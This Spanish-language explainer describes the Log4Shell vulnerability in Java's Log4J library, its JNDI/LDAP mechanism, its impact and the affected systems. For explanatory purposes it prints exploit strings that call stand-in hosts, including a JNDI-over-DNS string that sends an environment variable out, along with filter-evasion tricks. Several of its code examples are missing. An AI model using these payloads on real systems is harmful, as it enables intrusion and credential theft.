Log4Shell

A finales de 2021, el fallo de seguridad Log4Shell sacudió el mundo ci­be­r­né­ti­co. Con poco esfuerzo, los atacantes pudieron in­fi­l­trar­se en los sistemas globales de las mayores or­ga­ni­za­cio­nes. A co­n­ti­nua­ción, te ex­pli­ca­mos qué es Log4Shell y cómo actuar al respecto.

Log4Shell es una de las vu­l­ne­ra­bi­li­da­des de seguridad más graves en Java que se ha de­s­cu­bie­r­to hasta la fecha. Además de in­te­r­ve­nir datos sensibles, este fallo se aprovechó es­pe­cia­l­me­n­te para abrir una shell inversa en un sistema remoto, lo que permite a los atacantes insertar más código maligno o tomar co­m­ple­ta­me­n­te el control del sistema. La National Vu­l­ne­ra­bi­li­ty Database de EE.UU. le dio a la vu­l­ne­ra­bi­li­dad Log4Shell la pu­n­tua­ción más elevada de 10,0: “critical”.

Hasta la fecha, Log4Shell es la vu­l­ne­ra­bi­li­dad de carácter crítico que ha oca­sio­na­do mayor daño. El fallo yacía en la bi­blio­te­ca de registro de Java Log4J, am­plia­me­n­te utilizada. Cuando se descubrió, se vio que más de 35 000 paquetes de Maven Central, el mayor re­po­si­to­rio de Java, estaban afectados por la vu­l­ne­ra­bi­li­dad. Log4Shell puso en riesgo a miles de productos de cientos de pro­vee­do­res. Además de los servicios en la nube y software, también afectó a so­lu­cio­nes de hardware de la misma manera.

También es preo­cu­pa­n­te el hecho de que la vu­l­ne­ra­bi­li­dad Log4Shell exista desde 2013. Desde entonces, sin que se supiera abie­r­ta­me­n­te, era posible in­fi­l­trar­se en una amplia gama de sistemas, incluidos los de grandes pro­vee­do­res. Podemos suponer que grupos pro­fe­sio­na­les como los servicios secretos y los hackers han utilizado ac­ti­va­me­n­te este fallo para acceder a los sistemas y robar datos.

El nombre “Log4Shell” hace re­fe­re­n­cia al principio base de este fallo de seguridad. Se aprovecha de un punto débil de la bi­blio­te­ca de registro de Java, conocida como Log4J, que permite iniciar una shell inversa en un sistema remoto. Pero ¿qué es exac­ta­me­n­te Log4J y en qué consiste una shell inversa?

La bi­blio­te­ca Log4J, mantenida por la Apache Software Fou­n­da­tion, es una de las he­rra­mie­n­tas estándar de registro de Java más uti­li­za­das. La función de registro es una parte esencial de los grandes sistemas, que co­n­ti­nua­me­n­te crean avisos de estado, los analizan y los guardan. Entre los datos re­gi­s­tra­dos por defecto suelen en­co­n­trar­se, entre otros, los del en­ca­be­za­do que se tra­n­s­fie­ren a los se­r­vi­do­res web desde las so­li­ci­tu­des HTTP. He aquí un ejemplo de una entrada de registro de Apache. La última parte es un string llamado User Agent:

Una shell inversa es una puerta de entrada a través de la cual un hacker puede manipular o tomar el control de un sistema en remoto. Iniciar una shell inversa es un truco típico del re­pe­r­to­rio de los ci­be­r­pi­ra­tas y, pri­n­ci­pa­l­me­n­te, permite el acceso al sistema afectado, algo que se consigue con poco esfuerzo si se hace uso de la vu­l­ne­ra­bi­li­dad Log4Shell.

El principal problema de la vu­l­ne­ra­bi­li­dad Log4Shell es el uso de las llamadas “string su­b­s­ti­tu­tio­ns” como parte de la fu­n­cio­na­li­dad de Log4J. Esas su­s­ti­tu­cio­nes permiten in­tro­du­cir contenido dinámico en los ma­r­ca­do­res de posición, lo que funciona de manera similar a cuando se su­s­ti­tu­yen las variables en scripts de shell. Que las su­s­ti­tu­cio­nes puedan ma­ni­pu­lar­se desde fuera supone un problema para la seguridad. Lo mismo ocurre cuando se registran datos definidos por el usuario como los User Agent Strings.

Veamos cómo se co­n­s­tru­yen y funcionan las su­s­ti­tu­cio­nes. La sintaxis general de una su­s­ti­tu­ción consta de dos partes: un marcador de posición, que está formado por un símbolo de dólar y dos corchetes (al igual que en los scripts de shell), y un par prefijo‑nombre, separado por dos puntos:

El prefijo indica el tipo de su­s­ti­tu­ción que debe rea­li­zar­se y, en cuanto al siguiente código de ejemplo, este se su­s­ti­tui­rá por la versión Java del sistema en ejecución durante el proceso:

Incluso un ejemplo tan ino­fe­n­si­vo abre la puerta a los hackers para apro­ve­char los fallos de seguridad conocidos de la versión Java en cuestión. De hecho, varias de las posibles su­s­ti­tu­cio­nes son críticas para la seguridad del sistema de ejecución. Las su­s­ti­tu­cio­nes del JNDI Lookup tienen es­pe­cia­l­me­n­te mala repu­tación con Log4Shell.

La Interfaz de Nombrado y Di­re­c­to­rio Java (JNDI, por sus siglas en inglés) permite volver a cargar la co­n­fi­gu­ra­ción desde una clase local de Java, e incluso cargar co­n­fi­gu­ra­cio­nes desde sistemas remotos. Los atacantes co­n­tro­la­ron sobre todo se­r­vi­do­res LDAP en los ataques a Log4Shell. Desde ellos, pusieron en marcha códigos malignos para abrir la shell inversa, ya que una clase Java puede contener cualquier código.

Por eso, basta con una cadena de ca­ra­c­te­res del tipo ${jndi:ldap://example.com/evil-file} para engañar a un sistema con el Log4J vu­l­ne­ra­ble. Cuando luego se resuelve la su­s­ti­tu­ción, el código del exploit se recarga desde un servidor LDAP co­n­tro­la­do y, en co­n­se­cue­n­cia, el exploit se ejecuta en el sistema vu­l­ne­ra­ble. De­pe­n­die­n­do de lo que busque el hacker, instalará el scareware y otros tipos de malware.

Además de JNDI, los prefijos ‘env’ y ‘base64’ también se utilizan para los ci­ber­ata­ques. La siguiente tabla reúne los prefijos de su­s­ti­tu­ción di­s­po­ni­bles y su contexto:

Siguiendo un pro­ce­di­mie­n­to concreto, es posible sacarle partido a un fallo de seguridad, en cuyo caso hablamos de un exploit. Puede haber múltiples exploits para un único fallo de seguridad, como es el caso de Log4Shell. Cuando se supo de su exi­s­te­n­cia, se dieron pri­n­ci­pa­l­me­n­te dos tipos de ataques, di­fe­re­n­cia­dos por la llamada JNDI:

1. Control del servidor o di­s­po­si­ti­vo

Con este tipo de ataque, se inicia una shell inversa en el sistema meta, para lo que se utilizan varios exploits que necesitan poder ejecutar malware en el sistema meta. Esto es posible pre­ci­sa­me­n­te a través del registro de un string es­pe­cia­l­me­n­te preparado para ello.

Para acceder a un servidor web vu­l­ne­ra­ble, basta con consultar cualquier recurso y poner en marcha un exploit string como User Agent. Entonces, el servidor web registra el exploit string, se ejecuta la su­s­ti­tu­ción y se inicia el ataque. Este es un ejemplo de exploit string re­gi­s­tra­do:

2. Acceso a datos co­n­fi­de­n­cia­les

En este tipo de ataque, se leen datos sensibles en forma de variables de entorno del sistema meta. El exploit se basa en crear una supuesta re­so­lu­ción de nombres DNS mediante una su­s­ti­tu­ción dinámica. Para ello, el valor de la variable de entorno se codifica como su­b­do­mi­nio:

En ambos casos, los atacantes utilizan un sistema que controlan como cabeza de puente. En el primer caso, se entrega el código maligno con un servidor LDAP y, en el segundo caso, el servidor de nombres al que se dirige la petición DNS está bajo el control de los atacantes. Veamos este caso en detalle.

Ima­gi­ne­mos que una variable de entorno de nombre 'DB_PASS' del sistema vu­l­ne­ra­ble contiene la co­n­tra­se­ña de una base de datos. Su­po­n­ga­mos que se trata del valor e3Ct­De­wUU­wA­fi­w­W­T­F­tAh­fe­ttlQ2Lp5. El exploit string ${jndi:dns://${env:DB_PASS}.example.com} lanza una solicitud DNS del su­b­do­mi­nio e3Ct­De­wUU­wA­fi­w­W­T­F­tAh­fe­ttlQ2Lp5.example.com.

La solicitud DNS de example.com va al servidor de nombres, co­n­tro­la­do por los atacantes. El servidor de nombres maligno lee el valor del su­b­do­mi­nio y lo guarda. De esta manera, los hackers consiguen la co­n­tra­se­ña de la base de datos del servidor vu­l­ne­ra­ble.

El gran peligro de la vu­l­ne­ra­bi­li­dad de Log4Shell se debía a una co­m­bi­na­ción de factores de riesgo. Exa­mi­ne­mos los más im­po­r­ta­n­tes:

1. La vu­l­ne­ra­bi­li­dad de Java provenía de la bi­blio­te­ca de registro.

Una bi­blio­te­ca de registro como Log4J puede parecer de primeras re­la­ti­va­me­n­te ino­fe­n­si­va. Si la co­m­pa­ra­mos con las bi­blio­te­cas de au­te­n­ti­fi­ca­ción o cifrado, la bi­blio­te­ca de registro puede parecer menos im­po­r­ta­n­te.

2. El uso de Java está muy extendido.

Una de las ca­ra­c­te­rí­s­ti­cas pri­n­ci­pa­les de Java como lenguaje y entorno es que funciona prá­c­ti­ca­me­n­te en todas las pla­ta­fo­r­mas, por lo que la vu­l­ne­ra­bi­li­dad Log4Shell afecta a un gran número de programas y servicios. Además, Java está integrado pa­r­cia­l­me­n­te en sistemas embebidos como rúteres o di­s­po­si­ti­vos del internet de las cosas, p. ej. cámaras privadas o di­s­po­si­ti­vos de domótica.

3. Integra muchas te­c­no­lo­gías distintas.

La pro­ble­má­ti­ca de la seguridad surge debido a la en­ca­de­na­ción de múltiples te­c­no­lo­gías. La co­m­bi­na­ción de Log4J, JNDI, LDAP y las su­s­ti­tu­cio­nes de strings lleva a fallos de seguridad y favorece los ataques.

4. El exploit se filtra por planos más profundos.

Si un punto débil solo afecta al sistema vu­l­ne­ra­ble, en el mejor de los casos, los daños serán lo­ca­li­za­dos. Pero ima­gi­ne­mos que se recibe un exploit string y se registra a través de una interfaz web. El exploit string acabará pasando a los sistemas su­b­ya­ce­n­tes y se activará cuando se evalúe ahí.

5. Los exploit strings son difíciles de descubrir.

Debido a lo complejas que son las su­s­ti­tu­cio­nes, pueden ocultar código malicioso de muchas formas distintas, de manera que pueden in­te­r­ca­lar­se. Un string del estilo de ${${lower:j}ndi} no contiene di­re­c­ta­me­n­te la cadena de ca­ra­c­te­res jndi, por lo que no se puede filtrar au­to­má­ti­ca­me­n­te. De hecho, el string ${jndi} solo aparece en la re­so­lu­ción. Además, también es posible ocultar parte del código co­di­fi­ca­n­do base64, por lo que el string ${base64:SGVsbG8gV29ybGQhCg==} se evalúa como ”Hello World!”.

Al conocerse las vu­l­ne­ra­bi­li­da­des de Log4Shell, se pro­du­je­ron grandes ataques en sistemas de todo el mundo. Sobre todo se tomó el control de se­r­vi­do­res y di­s­po­si­ti­vos, pero también se robaron datos sensibles. A los diez días de que se pu­bli­ca­ran los exploits, la empresa de ci­be­r­se­gu­ri­dad Wiz describió el ataque de la siguiente manera:

Los sistemas tomados se uti­li­za­ron in­de­bi­da­me­n­te para minar cri­p­to­mo­ne­das, crear botnets y enviar spam. Además, se crearon las llamadas puertas traseras para permitir futuras ac­ti­vi­da­des de­li­c­ti­vas, como ataques de ra­n­so­m­wa­re. Los ataques que pretenden no ser de­te­c­ta­dos e in­fi­l­trar­se en otros sistemas se conocen como amenaza pe­r­si­s­te­n­te avanzada (APT, por sus siglas en inglés).

Las or­ga­ni­za­cio­nes más grandes reac­cio­na­ron con bastante rapidez al saber de Log4Shell y tomaron medidas para proteger sus sistemas. Sin embargo, pre­su­po­ne­mos que los sistemas sin parches siguen en peligro, dado que los hackers siguen es­ca­nea­n­do sistemas meta tratando de descubrir puntos débiles.

Lo que complica la lucha contra las vu­l­ne­ra­bi­li­da­des de Log4Shell es que puede ser muy difícil detectar los sistemas vu­l­ne­ra­bles. Cuando las apli­ca­cio­nes Java se ejecutan como co­n­te­ne­do­res o se trata de archivos JAR ar­chi­va­dos o imágenes de co­n­te­ne­do­res, no está de más comprobar si hay versiones vu­l­ne­ra­bles de Log4J. Si no se sabe que se está uti­li­za­n­do una versión vu­l­ne­ra­ble, esta no puede pro­te­ge­r­se, por lo que el sistema puede estar expuesto a los fallos de Log4Shell.

Los sistemas de domótica y otros sistemas embebidos o de IdC son más pro­ble­má­ti­cos que los entornos de se­r­vi­do­res o en la nube. Entre ellos se en­cue­n­tran los rúteres privados, las cámaras de vi­deo­vi­gi­la­n­cia y demás di­s­po­si­ti­vos. Dado que la vu­l­ne­ra­bi­li­dad Log4Shell existía desde hace años, podemos suponer que sigue habiendo di­s­po­si­ti­vos con versiones inseguras. Si ya no está soportado por la empresa o el proveedor no existe, lo más probable es que no existan parches ni ac­tua­li­za­cio­nes.

La lista exhau­s­ti­va de los software afectados por Log4Shell se encuentra en GitHub. Es obra del Centro Nacional de Ci­be­r­se­gu­ri­dad de Países Bajos (NCSC-NL, por sus siglas en nee­r­la­n­dés); ente homólogo del INCIBE, el Instituto Nacional de Ci­be­r­se­gu­ri­dad español. Debido a la gran cantidad de softwares afectados, la lista está ordenada al­fa­bé­ti­ca­me­n­te según la inicial del fa­bri­ca­n­te.

Los pa­r­ti­cu­la­res también se han visto afectados por Log4Shell, ya que muchos de los servicios en línea más populares estaban expuestos cuando se conoció la noticia. Algunos ejemplos son Minecraft, Steam, AWS y iCloud de Apple. La mayoría de los grandes pro­vee­do­res reac­cio­na­ron con gran rapidez, por lo que no es necesario que elimines tu cuenta de Steam ni busques al­te­r­na­ti­vas a AWS.

Si en cambio tienes un servidor de Minecraft, deberías ac­tua­li­zar­lo, ya que, en las versiones afectadas, basta con enviar un exploit string como mensaje de chat para controlar el servidor.

En hardware de pequeñas empresas u hogares expuestos a Log4Shell, este fallo sigue su­po­nie­n­do una amenaza para pa­r­ti­cu­la­res. Por ejemplo, basta con mostrar un código de barras preparado es­pe­cia­l­me­n­te a una cámara de vi­deo­vi­gi­la­n­cia para tomar control del di­s­po­si­ti­vo.